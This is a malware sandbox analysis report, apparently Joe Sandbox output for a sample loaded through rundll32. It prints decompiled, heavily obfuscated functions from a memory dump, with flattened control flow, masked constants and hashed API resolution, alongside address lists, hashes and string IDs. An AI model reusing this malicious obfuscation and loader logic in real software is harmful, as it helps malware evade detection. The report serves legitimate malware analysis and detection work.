0x029c2699
0x029c26a1
0x029c26a9
0x029c26b1
0x029c26b6
0x029c26be
0x029c26c6
0x029c26d3
0x029c26d4
0x029c26d8
0x029c26e0
0x029c26e8
0x029c26f0
0x029c26f8
0x029c2700
0x029c2708
0x029c2710
0x029c271b
0x029c2721
0x029c2726
0x029c272e
0x029c2736
0x029c273b
0x029c2743
0x029c274b
0x029c2750
0x029c275c
0x029c275f
0x029c2763
0x029c276b
0x029c277e
0x029c2785
0x029c2790
0x029c279d
0x029c27a1
0x029c27a9
0x029c27b1
0x029c27b9
0x029c27c4
0x029c27cf
0x029c27da
0x029c27e2
0x029c27f0
0x029c27f1
0x029c27fa
0x029c27fe
0x029c2806
0x029c280e
0x029c281b
0x029c2824
0x029c2828
0x029c2830
0x029c2838
0x029c2840
0x029c2848
0x029c2850
0x029c285d
0x029c2861
0x029c2869
0x029c2871
0x029c2876
0x029c287e
0x029c2886
0x029c288e
0x029c2896
0x029c289e
0x029c28a6
0x029c28ae
0x029c28b6
0x029c28be
0x029c28cb
0x029c28cf
0x029c28d7
0x029c28e4
0x029c28e8
0x029c28f0
0x029c28f8
0x029c28fd
0x029c2905
0x029c290d
0x029c2915
0x029c291f
0x029c292f
0x029c293a
0x029c293b
0x029c293f
0x029c2947
0x029c295a
0x029c295e
0x029c2966
0x029c296e
0x029c2979
0x029c2984
0x029c298f
0x029c2997
0x029c29a1
0x029c29a5
0x029c29aa
0x029c29b2
0x029c29bd
0x029c29c8
0x029c29d3
0x029c29d3
0x029c29e1
0x029c2adc
0x029c2ae1
0x029c2ae8
0x029c2b62
0x029c2b64
0x029c2b6c
0x029c2aea
0x029c2aea
0x00000000
0x029c2aea
0x029c29e7
0x029c29ed
0x029c2a64
0x029c2a69
0x029c2a73
0x029c2a79
0x00000000
0x029c2a79
0x029c29ef
0x029c29f5
0x029c2b4f
0x029c29fb
0x029c2a01
0x00000000
0x029c2a07
0x029c2a07
0x00000000
0x029c2a07
0x029c2a01
0x029c29f5
0x029c29ed
0x029c2b6f
0x029c2b7b
0x029c2b7b
0x029c2b03
0x029c2b04
0x029c2b09
0x029c2b13
0x029c2b1f
0x00000000
0x029c2b15
0x029c2b15
0x00000000
0x029c2b15
0x00000000
0x029c2b24
0x029c2b24
0x00000000

Strings

+m, xrefs: 029C290D
/ U, xrefs: 029C25BA
~6, xrefs: 029C2869

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: +m$/ U$~6
API String ID: 0-2643806746
Opcode ID: e419d2f2a3d50184504b08ba014fe422773895a085a5e2fe16711d1e008d642e
Instruction ID: 4328a29a9b7e7ef7455b719df58354bba7568442330c7199f4dddf697c07dbcd
Opcode Fuzzy Hash: e419d2f2a3d50184504b08ba014fe422773895a085a5e2fe16711d1e008d642e
Instruction Fuzzy Hash: D9E1FE724083809FD369CF65C58AA5BFBF1FBC5744F50891DE69A86260C7B28948DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029DC772, Relevance: 4.0, Strings: 3, Instructions: 241
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E029DC772() {
				char _v520;
				char _v1040;
				signed int _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				intOrPtr _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				signed int _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				signed int _v1100;
				signed int _v1104;
				signed int _v1108;
				signed int _v1112;
				signed int _v1116;
				signed int _v1120;
				signed int _v1124;
				signed int _v1128;
				signed int _v1132;
				signed int _v1136;
				signed int _v1140;
				signed int _v1144;
				signed int _v1148;
				signed int _v1152;
				signed int _v1156;
				signed int _v1160;
				short* _t257;
				intOrPtr _t259;
				void* _t265;
				void* _t276;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int* _t305;

				_t305 =  &_v1160;
				_v1044 = _v1044 & 0x00000000;
				_v1056 = 0x67f36d;
				_t265 = 0xfc653df;
				_v1052 = 0xcbe43f;
				_v1048 = 0x4183e4;
				_v1068 = 0x9bb1d2;
				_v1068 = _v1068 * 0x64;
				_v1068 = _v1068 ^ 0x3cd6e624;
				_v1116 = 0xa1aac;
				_v1116 = _v1116 + 0xffffa9e1;
				_v1116 = _v1116 ^ 0xaa4dc240;
				_v1116 = _v1116 ^ 0xaa4b7b23;
				_v1148 = 0xefddfc;
				_t298 = 0x29;
				_v1148 = _v1148 * 0x77;
				_v1148 = _v1148 ^ 0xebad6891;
				_v1148 = _v1148 + 0xffff9b56;
				_v1148 = _v1148 ^ 0x8426d8f3;
				_v1112 = 0x1876be;
				_v1112 = _v1112 >> 1;
				_v1112 = _v1112 / _t298;
				_v1112 = _v1112 ^ 0x0002f28a;
				_v1084 = 0x55cc97;
				_v1084 = _v1084 + 0xf505;
				_v1084 = _v1084 ^ 0x00568c59;
				_v1100 = 0x2aa85f;
				_v1100 = _v1100 + 0xbd44;
				_v1100 = _v1100 ^ 0x002207a1;
				_v1076 = 0xe103b2;
				_t299 = 0x47;
				_v1076 = _v1076 * 0x72;
				_v1076 = _v1076 ^ 0x643cff88;
				_v1060 = 0xe05eb0;
				_v1060 = _v1060 >> 6;
				_v1060 = _v1060 ^ 0x000e37f3;
				_v1120 = 0xf6a;
				_v1120 = _v1120 + 0xbc97;
				_v1120 = _v1120 * 0xf;
				_v1120 = _v1120 ^ 0x00044aed;
				_v1124 = 0x6bb578;
				_v1124 = _v1124 << 0xc;
				_v1124 = _v1124 * 0x30;
				_v1124 = _v1124 ^ 0x206c09df;
				_v1156 = 0x87aa07;
				_v1156 = _v1156 + 0x8537;
				_v1156 = _v1156 / _t299;
				_t300 = 0x52;
				_v1156 = _v1156 / _t300;
				_v1156 = _v1156 ^ 0x0000bb35;
				_v1132 = 0x152c67;
				_v1132 = _v1132 << 3;
				_v1132 = _v1132 ^ 0x272e2d35;
				_v1132 = _v1132 ^ 0x2782f007;
				_v1144 = 0xb90694;
				_v1144 = _v1144 | 0xd867225f;
				_t301 = 0x17;
				_v1144 = _v1144 / _t301;
				_v1144 = _v1144 << 8;
				_v1144 = _v1144 ^ 0x6f423cc8;
				_v1136 = 0xf81e67;
				_v1136 = _v1136 + 0x2b88;
				_v1136 = _v1136 >> 0xe;
				_v1136 = _v1136 ^ 0x0006ca70;
				_v1064 = 0x760acb;
				_v1064 = _v1064 + 0xd43f;
				_v1064 = _v1064 ^ 0x0071fbf5;
				_v1104 = 0x258fe1;
				_v1104 = _v1104 >> 9;
				_v1104 = _v1104 ^ 0x00094912;
				_v1152 = 0x9366a6;
				_v1152 = _v1152 << 1;
				_v1152 = _v1152 | 0x7f6d55bf;
				_v1152 = _v1152 ^ 0x7f68d9a0;
				_v1092 = 0x6b2ba9;
				_v1092 = _v1092 + 0x24dd;
				_v1092 = _v1092 ^ 0x0069d70c;
				_v1128 = 0x103ab3;
				_v1128 = _v1128 >> 7;
				_v1128 = _v1128 >> 0xf;
				_v1128 = _v1128 ^ 0x000e00dd;
				_v1160 = 0xe6fef3;
				_t302 = 0x18;
				_v1160 = _v1160 * 0x7f;
				_v1160 = _v1160 + 0xffff404c;
				_v1160 = _v1160 / _t302;
				_v1160 = _v1160 ^ 0x04c928f6;
				_v1088 = 0x5ef0b7;
				_v1088 = _v1088 ^ 0x9553ff53;
				_v1088 = _v1088 ^ 0x950d1839;
				_v1108 = 0x1cd5a0;
				_v1108 = _v1108 + 0xffff7404;
				_v1108 = _v1108 | 0x7f370cbc;
				_v1108 = _v1108 ^ 0x7f3dbca2;
				_v1096 = 0x5aff35;
				_v1096 = _v1096 + 0xffffc50b;
				_v1096 = _v1096 ^ 0x005d5b35;
				_v1140 = 0xc5270;
				_v1140 = _v1140 << 0x10;
				_v1140 = _v1140 + 0xffffc687;
				_v1140 = _v1140 >> 6;
				_v1140 = _v1140 ^ 0x014c5e7f;
				_v1072 = 0x144f40;
				_v1072 = _v1072 * 0x62;
				_v1072 = _v1072 ^ 0x07c2bc11;
				_v1080 = 0x96ded;
				_v1080 = _v1080 | 0x1f3f083f;
				_v1080 = _v1080 ^ 0x1f3b81a9;
				do {
					while(_t265 != 0x23c729b) {
						if(_t265 == 0x5a75915) {
							_push(0x29c141c);
							E029E06A6(__eflags,  *0x29e5bd8 + 0x238, _v1100, E029E0AD3(_v1112, _v1084, __eflags), _v1076, _v1060,  &_v520, _v1120);
							_t217 =  &_v1132; // 0x5d5b35
							E029D2EED(_v1124, _v1156,  *_t217, _t250);
							_t305 =  &(_t305[0xa]);
							_t265 = 0xfcc7933;
							continue;
						}
						if(_t265 == 0x75b361f) {
							E029E2D4F();
							_t265 = 0x5a75915;
							continue;
						}
						if(_t265 == 0x9fcf093) {
							_t257 = E029D0F17(_v1088, _v1108,  &_v520, _v1096, _v1140);
							__eflags = 0;
							 *_t257 = 0;
							return E029D8849( &_v520, _v1072, _v1080);
						}
						if(_t265 == 0xfc653df) {
							_t259 =  *0x29e5bd8;
							__eflags =  *((intOrPtr*)(_t259 + 0x444));
							_t265 =  !=  ? 0x75b361f : 0x23c729b;
							continue;
						}
						_t313 = _t265 - 0xfcc7933;
						if(_t265 != 0xfcc7933) {
							goto L12;
						}
						E029E0A0E(_v1144,  &_v1040, _t265, _v1136);
						_pop(_t276);
						E029D4430(_v1064, _v1104, _t276,  &_v1040,  &_v1040, _t276, _v1152);
						_t259 = E029D604E(_v1092,  &_v1040, _t313, _v1128,  &_v520, _v1160);
						_t305 =  &(_t305[8]);
						_t265 = 0x9fcf093;
					}
					E029D04A4();
					_t265 = 0x5a75915;
					L12:
					__eflags = _t265 - 0x51925bf;
				} while (__eflags != 0);
				return _t259;
			}

0x029dc772
0x029dc778
0x029dc77f
0x029dc787
0x029dc78c
0x029dc794
0x029dc79c
0x029dc7ad
0x029dc7b1
0x029dc7b9
0x029dc7c1
0x029dc7c9
0x029dc7d1
0x029dc7d9
0x029dc7e8
0x029dc7eb
0x029dc7ef
0x029dc7f7
0x029dc7ff
0x029dc807
0x029dc80f
0x029dc81b
0x029dc81f
0x029dc827
0x029dc82f
0x029dc837
0x029dc83f
0x029dc847
0x029dc84f
0x029dc857
0x029dc864
0x029dc867
0x029dc86b
0x029dc873
0x029dc87b
0x029dc880
0x029dc888
0x029dc890
0x029dc89d
0x029dc8a1
0x029dc8a9
0x029dc8b1
0x029dc8bb
0x029dc8bf
0x029dc8c7
0x029dc8cf
0x029dc8df
0x029dc8e7
0x029dc8ec
0x029dc8f2
0x029dc8fa
0x029dc902
0x029dc907
0x029dc90f
0x029dc917
0x029dc91f
0x029dc92b
0x029dc92e
0x029dc934
0x029dc93e
0x029dc94b
0x029dc958
0x029dc960
0x029dc965
0x029dc96d
0x029dc975
0x029dc97d
0x029dc985
0x029dc98d
0x029dc992
0x029dc99a
0x029dc9a2
0x029dc9a6
0x029dc9ae
0x029dc9b6
0x029dc9be
0x029dc9c6
0x029dc9ce
0x029dc9d6
0x029dc9db
0x029dc9e0
0x029dc9e8
0x029dc9f7
0x029dc9f8
0x029dc9fc
0x029dca0a
0x029dca0e
0x029dca16
0x029dca1e
0x029dca26
0x029dca2e
0x029dca36
0x029dca3e
0x029dca46
0x029dca4e
0x029dca56
0x029dca5e
0x029dca66
0x029dca6e
0x029dca73
0x029dca7b
0x029dca80
0x029dca88
0x029dca95
0x029dca99
0x029dcaa1
0x029dcaa9
0x029dcab1
0x029dcab9
0x029dcab9
0x029dcac3
0x029dcb82
0x029dcbba
0x029dcbc0
0x029dcbcc
0x029dcbd1
0x029dcbd4
0x00000000
0x029dcbd4
0x029dcacb
0x029dcb6e
0x029dcb73
0x00000000
0x029dcb73
0x029dcad7
0x029dcc13
0x029dcc20
0x029dcc22
0x00000000
0x029dcc31
0x029dcae3
0x029dcb54
0x029dcb5b
0x029dcb62
0x00000000
0x029dcb62
0x029dcae5
0x029dcaeb
0x00000000
0x00000000
0x029dcb01
0x029dcb07
0x029dcb22
0x029dcb42
0x029dcb47
0x029dcb4a
0x029dcb4a
0x029dcbe6
0x029dcbeb
0x029dcbed
0x029dcbed
0x029dcbed
0x00000000

Strings

5-.', xrefs: 029DC907
m, xrefs: 029DCAA1
5[], xrefs: 029DCBC0

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 5-.'$5[]$m
API String ID: 0-734274072
Opcode ID: 34e514d941c14375de2f9278116eded52e51cd5997286a22da1e9cfe42d1b56c
Instruction ID: cb9beec94275c8f07284f543742322d42b85306b047284971c7342ef5995d54c
Opcode Fuzzy Hash: 34e514d941c14375de2f9278116eded52e51cd5997286a22da1e9cfe42d1b56c
Instruction Fuzzy Hash: 6CC131B15083819FD758CF65C48991BFBF6FBC4348F608A1DF19A8A260D7B19949CF82

Uniqueness

Uniqueness Score: -1.00%

Function 029E1C71, Relevance: 4.0, Strings: 3, Instructions: 240
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E029E1C71(intOrPtr* __ecx) {
				char _v128;
				signed int _v132;
				signed int _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				signed int _v148;
				signed int _v152;
				unsigned int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				intOrPtr* _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				void* _t227;
				void* _t240;
				signed int _t245;
				intOrPtr* _t246;
				void* _t248;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				void* _t278;
				void* _t282;
				signed int* _t283;

				_t246 = __ecx;
				_t283 =  &_v236;
				_v136 = _v136 & 0x00000000;
				_v132 = _v132 & 0x00000000;
				_v144 = 0xd41792;
				_v140 = 0xbf4b5a;
				_v156 = 0x29fb44;
				_v156 = _v156 >> 0xf;
				_v156 = _v156 ^ 0x0003bae2;
				_v200 = 0x89966e;
				_t273 = 0x1c;
				_v172 = __ecx;
				_v200 = _v200 / _t273;
				_t278 = 0x9a27bf4;
				_v200 = _v200 ^ 0xb8630e34;
				_v200 = _v200 ^ 0xb860629b;
				_v188 = 0xd187f5;
				_v188 = _v188 + 0xffff4db7;
				_t274 = 0x56;
				_v188 = _v188 * 3;
				_v188 = _v188 ^ 0x027d0b4b;
				_v184 = 0x8a3d42;
				_v184 = _v184 / _t274;
				_v184 = _v184 | 0x8af37a66;
				_v184 = _v184 ^ 0x8afdb0ff;
				_v224 = 0x9e7832;
				_v224 = _v224 ^ 0x842bd25d;
				_v224 = _v224 | 0xdfdd3411;
				_v224 = _v224 + 0xb697;
				_v224 = _v224 ^ 0xdff003df;
				_v148 = 0x225e33;
				_v148 = _v148 << 0xd;
				_v148 = _v148 ^ 0x4bc543f8;
				_v232 = 0xc7fbce;
				_v232 = _v232 | 0x4237f349;
				_v232 = _v232 + 0xffff4f7c;
				_t275 = 0x31;
				_v232 = _v232 * 0x44;
				_v232 = _v232 ^ 0xc9ab435b;
				_v176 = 0x145d80;
				_v176 = _v176 + 0xffff565c;
				_v176 = _v176 ^ 0x0018760d;
				_v160 = 0x6ec5f1;
				_v160 = _v160 + 0x1e6d;
				_v160 = _v160 ^ 0x006fa6ab;
				_v152 = 0x992a78;
				_v152 = _v152 / _t275;
				_v152 = _v152 ^ 0x00001c90;
				_v180 = 0xecf0ae;
				_v180 = _v180 | 0x144c9e60;
				_v180 = _v180 ^ 0x14eda742;
				_v168 = 0x231a1f;
				_v168 = _v168 * 0x27;
				_v168 = _v168 ^ 0x0554e405;
				_v196 = 0x428309;
				_v196 = _v196 ^ 0x8c492716;
				_v196 = _v196 / _t275;
				_v196 = _v196 ^ 0x02d51bf8;
				_v192 = 0x16108a;
				_v192 = _v192 << 6;
				_v192 = _v192 + 0xffff53df;
				_v192 = _v192 ^ 0x0585c6e1;
				_v216 = 0xdfab18;
				_v216 = _v216 + 0xc460;
				_t276 = 0x62;
				_v216 = _v216 * 0x2f;
				_v216 = _v216 + 0xea46;
				_v216 = _v216 ^ 0x29308635;
				_v236 = 0x1b2ff9;
				_v236 = _v236 >> 0xd;
				_v236 = _v236 ^ 0x92524721;
				_v236 = _v236 | 0x9e8aef0b;
				_v236 = _v236 ^ 0x9edb5238;
				_v220 = 0xe215c;
				_v220 = _v220 ^ 0xaeea9875;
				_v220 = _v220 << 0x10;
				_v220 = _v220 * 0x46;
				_v220 = _v220 ^ 0xa136eb87;
				_v228 = 0x7c03d9;
				_v228 = _v228 << 6;
				_v228 = _v228 << 2;
				_v228 = _v228 * 0x13;
				_v228 = _v228 ^ 0x34437a81;
				_v212 = 0x3a6491;
				_v212 = _v212 / _t276;
				_v212 = _v212 >> 6;
				_v212 = _v212 + 0x1b78;
				_v212 = _v212 ^ 0x0007ddb0;
				_v204 = 0x2fe30;
				_v204 = _v204 ^ 0x67b12ee8;
				_v204 = _v204 ^ 0x205660fc;
				_v204 = _v204 ^ 0x47e1847c;
				_v208 = 0x763181;
				_v208 = _v208 | 0xa730df07;
				_v208 = _v208 ^ 0xa77dc99d;
				_t277 = _v208;
				_t245 = _v208;
				_v164 = 0x3fdd1d;
				_v164 = _v164 + 0x345c;
				_v164 = _v164 ^ 0x0045ad0b;
				while(1) {
					L1:
					do {
						while(_t278 != 0x8ac162d) {
							if(_t278 == 0x9a27bf4) {
								_t278 = 0xafb7b2f;
								continue;
							} else {
								if(_t278 == 0xafb7b2f) {
									_push(_t246);
									_push(1);
									_push(_t246);
									_push(_t246);
									_t248 = 0x10;
									_t282 = E029D2CCF(_t248);
									_push( &_v128);
									_push(_v232);
									_push(_t282);
									_push(0xb);
									E029D8601(_v224, _v148);
									_t283 =  &(_t283[8]);
									_t278 = 0x8ac162d;
									goto L9;
								} else {
									if(_t278 == 0xb89f49e) {
										_t282 = 0x4000;
										_push(_t246);
										_t245 = E029D6F53(0x4000);
										__eflags = _t245;
										_t227 = 0xceead80;
										_t246 = _v172;
										_t278 =  !=  ? 0xceead80 : 0xb90e7d3;
										continue;
									} else {
										if(_t278 == 0xb90e7d3) {
											E029CF699(_v212, _t277, _v204, _v208, _v164);
										} else {
											_t291 = _t278 - _t227;
											if(_t278 != _t227) {
												goto L16;
											} else {
												_push(0x29c1794);
												_t240 = E029E0AD3(_v192, _v216, _t291);
												_push(_t277);
												_push( &_v128);
												_push(_t240);
												_push(_t282);
												_push(_t245);
												 *((intOrPtr*)(E029CDFB1(0xae2a7e8d, 0x13a)))();
												E029D2EED(_v236, _v220, _v228, _t240);
												_t283 =  &(_t283[7]);
												_t278 = 0xb90e7d3;
												L9:
												_t246 = _v172;
												goto L1;
											}
										}
									}
								}
							}
							L19:
							return _t245;
						}
						_t277 = E029C7739(_v176, _v160,  *_t246, _v152,  *((intOrPtr*)(_t246 + 4)), _v180);
						_t283 =  &(_t283[4]);
						__eflags = _t277;
						if(__eflags == 0) {
							_t246 = _v172;
							_t278 = 0x900b94f;
							_t227 = 0xceead80;
							goto L16;
						} else {
							_t278 = 0xb89f49e;
							goto L9;
						}
						goto L19;
						L16:
						__eflags = _t278 - 0x900b94f;
					} while (__eflags != 0);
					goto L19;
				}
			}

0x029e1c71
0x029e1c71
0x029e1c77
0x029e1c7e
0x029e1c83
0x029e1c8b
0x029e1c93
0x029e1c9b
0x029e1ca0
0x029e1ca8
0x029e1cba
0x029e1cbf
0x029e1cc3
0x029e1cc7
0x029e1ccc
0x029e1cd4
0x029e1cdc
0x029e1ce4
0x029e1cf3
0x029e1cf6
0x029e1cfa
0x029e1d02
0x029e1d12
0x029e1d16
0x029e1d1e
0x029e1d26
0x029e1d2e
0x029e1d36
0x029e1d3e
0x029e1d46
0x029e1d4e
0x029e1d56
0x029e1d5b
0x029e1d63
0x029e1d6b
0x029e1d73
0x029e1d80
0x029e1d81
0x029e1d85
0x029e1d8d
0x029e1d95
0x029e1d9d
0x029e1da5
0x029e1dad
0x029e1db5
0x029e1dbd
0x029e1dcd
0x029e1dd1
0x029e1dd9
0x029e1de1
0x029e1de9
0x029e1df1
0x029e1dfe
0x029e1e02
0x029e1e0a
0x029e1e12
0x029e1e20
0x029e1e24
0x029e1e2c
0x029e1e34
0x029e1e39
0x029e1e41
0x029e1e4b
0x029e1e53
0x029e1e62
0x029e1e63
0x029e1e67
0x029e1e6f
0x029e1e77
0x029e1e7f
0x029e1e84
0x029e1e8c
0x029e1e94
0x029e1e9c
0x029e1ea4
0x029e1eac
0x029e1eb6
0x029e1eba
0x029e1ec2
0x029e1eca
0x029e1ecf
0x029e1ed9
0x029e1edd
0x029e1ee5
0x029e1ef3
0x029e1ef7
0x029e1efc
0x029e1f04
0x029e1f0c
0x029e1f14
0x029e1f1c
0x029e1f24
0x029e1f2c
0x029e1f34
0x029e1f3c
0x029e1f44
0x029e1f4c
0x029e1f50
0x029e1f58
0x029e1f60
0x029e1f68
0x029e1f68
0x029e1f6d
0x029e1f6d
0x029e1f7f
0x029e207e
0x00000000
0x029e1f85
0x029e1f8b
0x029e2043
0x029e2044
0x029e2046
0x029e2047
0x029e204a
0x029e2050
0x029e2059
0x029e205a
0x029e2069
0x029e206a
0x029e206c
0x029e2071
0x029e2074
0x00000000
0x029e1f91
0x029e1f97
0x029e2007
0x029e2012
0x029e2018
0x029e201f
0x029e2021
0x029e2027
0x029e202b
0x00000000
0x029e1f99
0x029e1f9f
0x029e20e3
0x029e1fa5
0x029e1fa5
0x029e1fa7
0x00000000
0x029e1fad
0x029e1fb5
0x029e1fba
0x029e1fc0
0x029e1fcf
0x029e1fd0
0x029e1fd1
0x029e1fd2
0x029e1fde
0x029e1fed
0x029e1ff2
0x029e1ff5
0x029e1ffa
0x029e1ffa
0x00000000
0x029e1ffa
0x029e1fa7
0x029e1f9f
0x029e1f97
0x029e1f8b
0x029e20ee
0x029e20f7
0x029e20f7
0x029e20a2
0x029e20a4
0x029e20a7
0x029e20a9
0x029e20b5
0x029e20b9
0x029e20be
0x00000000
0x029e20ab
0x029e20ab
0x00000000
0x029e20ab
0x00000000
0x029e20c3
0x029e20c3
0x029e20c3
0x00000000
0x029e20cf

Strings

\4, xrefs: 029E1F58
F, xrefs: 029E1E67
3^", xrefs: 029E1D4E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 3^"$F$\4
API String ID: 0-424740036
Opcode ID: d0a70f06202a5431d61d3512d944334c0b06407ffbc02611f70acde3f4940171
Instruction ID: be16c56c7c744b78f7b72a111a9100a4fd722fffe9a1598dedfb3bc5e8bb7861
Opcode Fuzzy Hash: d0a70f06202a5431d61d3512d944334c0b06407ffbc02611f70acde3f4940171
Instruction Fuzzy Hash: DFB131719083809FD354CF69C48990BFBE5BBC8758F108A2DF59A96260D3B5CA49CF83

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F9D50, Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6E9F9FC2
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E9F9DB6
<>()C,, xrefs: 6E9F9DED

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: <>()C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${recursion limit reached}{invalid syntax}
API String ID: 0-2241449410
Opcode ID: 8ca4703ae57c254cace033a6946937c2edca50165bbaeeb9e86e7b7492ca3a09
Instruction ID: 6f4e5ec9287567852d985e30453f586ea63fb1b125656a0d6cce27a6365440fa
Opcode Fuzzy Hash: 8ca4703ae57c254cace033a6946937c2edca50165bbaeeb9e86e7b7492ca3a09
Instruction Fuzzy Hash: 8581E570704702CFE765CEE5C060796B7EAAF86304F14892DD4AA8B255D735D8CB8F02

Uniqueness

Uniqueness Score: -1.00%

Function 029C7739, Relevance: 3.9, Strings: 3, Instructions: 187
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E029C7739(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v4;
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				void* _t172;
				void* _t198;
				void* _t206;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				void* _t233;
				signed int* _t236;

				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t172);
				_v12 = 0x3aabef;
				_t233 = 0;
				_v8 = _v8 & 0;
				_t236 =  &(( &_v80)[6]);
				_v4 = _v4 & 0;
				_v72 = 0xd34ec9;
				_t206 = 0x7aa5511;
				_v72 = _v72 | 0xa4eab6da;
				_v72 = _v72 + 0xffff2582;
				_v72 = _v72 | 0x4f14f62d;
				_v72 = _v72 ^ 0xeffff67c;
				_v20 = 0xb76c6b;
				_t226 = 0x3a;
				_v20 = _v20 / _t226;
				_v20 = _v20 ^ 0x00032996;
				_v24 = 0xcdf8ee;
				_v24 = _v24 | 0x52c2c038;
				_v24 = _v24 ^ 0x12cff8fe;
				_v40 = 0x35b03e;
				_v40 = _v40 << 7;
				_v40 = _v40 | 0x16556e79;
				_v40 = _v40 ^ 0x5edd7f79;
				_v52 = 0xbcd904;
				_t227 = 0x44;
				_v52 = _v52 * 0x75;
				_v52 = _v52 + 0x472a;
				_v52 = _v52 ^ 0x5644fd8c;
				_v56 = 0x10abf2;
				_v56 = _v56 + 0xfffffe6c;
				_v56 = _v56 >> 3;
				_v56 = _v56 ^ 0x000ff606;
				_v60 = 0x2da8e8;
				_v60 = _v60 * 0x5d;
				_v60 = _v60 + 0x575f;
				_v60 = _v60 ^ 0x1098ab64;
				_v76 = 0x5fcecd;
				_v76 = _v76 + 0xbe18;
				_v76 = _v76 ^ 0xe826c78a;
				_v76 = _v76 + 0xffff2021;
				_v76 = _v76 ^ 0xe8403985;
				_v80 = 0x304c62;
				_t71 =  &_v80; // 0x304c62
				_v80 =  *_t71 * 0x26;
				_v80 = _v80 ^ 0xea5a0ba0;
				_v80 = _v80 * 0x1d;
				_v80 = _v80 ^ 0xe5d3a6aa;
				_v28 = 0xa2cdf7;
				_v28 = _v28 / _t227;
				_v28 = _v28 ^ 0x000e4037;
				_v32 = 0x13a644;
				_t228 = 0x4b;
				_v32 = _v32 / _t228;
				_v32 = _v32 ^ 0x00016a2b;
				_v36 = 0xcc9f55;
				_t229 = 0x63;
				_v36 = _v36 / _t229;
				_v36 = _v36 >> 2;
				_v36 = _v36 ^ 0x000f9b85;
				_v64 = 0xb20da2;
				_v64 = _v64 ^ 0xd6091fc7;
				_v64 = _v64 + 0xee94;
				_v64 = _v64 + 0xffff28f5;
				_v64 = _v64 ^ 0xd6bf98da;
				_v68 = 0xdd8bad;
				_t230 = 0x74;
				_v68 = _v68 / _t230;
				_v68 = _v68 >> 0xa;
				_v68 = _v68 | 0x1273c212;
				_v68 = _v68 ^ 0x127f42ce;
				_v44 = 0x9835c1;
				_v44 = _v44 ^ 0xea5bc543;
				_t231 = 0x6a;
				_v44 = _v44 / _t231;
				_v44 = _v44 ^ 0x02383c56;
				_v48 = 0x60359;
				_v48 = _v48 + 0x3ce8;
				_v48 = _v48 * 0x52;
				_v48 = _v48 ^ 0x0202ddab;
				while(_t206 != 0x40a6d4c) {
					if(_t206 == 0x42be86f) {
						_t198 = E029D81B0(_a4, _a12, _v52, _v56, _v24 | _v72,  &_v16, _v60, 0, _v76, _v80);
						_t236 =  &(_t236[8]);
						if(_t198 != 0) {
							_t206 = 0xec561d9;
							continue;
						}
					} else {
						if(_t206 == 0x7aa5511) {
							_t206 = 0x42be86f;
							continue;
						} else {
							if(_t206 != 0xec561d9) {
								L11:
								if(_t206 != 0xdd0d34) {
									continue;
								}
							} else {
								_push(_t206);
								_t233 = E029D6F53(_v16 + _v16);
								if(_t233 != 0) {
									_t206 = 0x40a6d4c;
									continue;
								}
							}
						}
					}
					return _t233;
				}
				E029D81B0(_a4, _a12, _v36, _v64, _v40 | _v20,  &_v16, _v68, _t233, _v44, _v48);
				_t236 =  &(_t236[8]);
				_t206 = 0xdd0d34;
				goto L11;
			}

0x029c7740
0x029c7744
